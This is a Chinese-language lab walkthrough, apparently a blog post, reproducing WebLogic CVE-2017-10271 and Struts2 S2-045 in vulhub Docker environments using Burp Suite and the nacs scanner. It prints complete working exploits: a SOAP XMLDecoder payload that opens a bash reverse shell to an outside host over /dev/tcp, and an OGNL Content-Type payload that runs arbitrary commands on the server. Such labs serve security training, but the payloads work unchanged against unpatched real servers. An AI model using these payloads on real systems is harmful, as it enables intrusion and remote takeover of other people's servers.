文章目录
- weblogic
- 启动环境
- 漏洞扫描
- 漏洞复现
- S2-045
- 启动环境
- 漏洞复现
前提条件:
1.安装docker
docker pull medicean/vulapps:j_joomla_2
2.安装docker-compose
docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
3.下载vulhub
weblogic
启动环境
到下面路径下:
cd vulhub/weblogic/CVE-2017-10271
启动容器:
sudo docker-compose up -d
如图,启动成功:
bp浏览器打开靶场环境:
漏洞扫描
打开终端,到下面路径:
cd tools/nacs/0.0.3/nacs_linux_amd64
启动nacs:
./nacs
如图,启动成功:
扫描端口:
sudo ./nacs -h 10.9.75.45 -pa 7001
扫描到存在的漏洞编号:
漏洞复现
访问网页127.0.0.1:7001/wls-wsat/CoordinatorPortType,出现下面页面,存在这个页面说明有反序列化漏洞:
bp抓包后发送到repeater模块,右键改成post方法,点击发送:
将下面的漏洞利用代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
粘贴到数据包中,因为这段代码是xml格式,所以要修改该数据包的类型为text/cml:
修改利用代码中反弹shell的IP,改为服务器可以访问的任意地址即可,这里改为kali的本机地址:
kali监听21端口:
bp中发送请求包:
反弹shell成功:
S2-045
启动环境
到下面目录:
cd vulhub/struts2/s2-045
输入命令安装并启动环境:
sudo docker-compose up -d && sudo docker-compose up -d
安装中:
安装成功启动时报错,提示我们8080端口被占用:
复制一个配置文件:
cp docker-compose.yml docker-compose.me.yml
打开并修改端口为8081:
vim docker-compose.me.yml
如图,修改成功:
以修改后的文件启动环境:
sudo docker-compose -f docker-compose.me.yml up -d
启动成功:
漏洞复现
在浏览器中输入10.9.75.45:8081打开环境:
bp抓包后发送到repeater模块,右键将方法改为post
将下面漏洞验证代码的Content-Type:字段复制
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
替换数据包的Content-Type:字段:
发包,回应包中输出了233*233的value值,说明的确存在s2-045漏洞:
将下面漏洞利用代码
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
复制到content-Type字段,修改#cmds字段就能执行相应的命令,相当于已经获得一个webshell。
执行ip a:
执行touch EMT.txt&&ls,新建了一个文件并查看: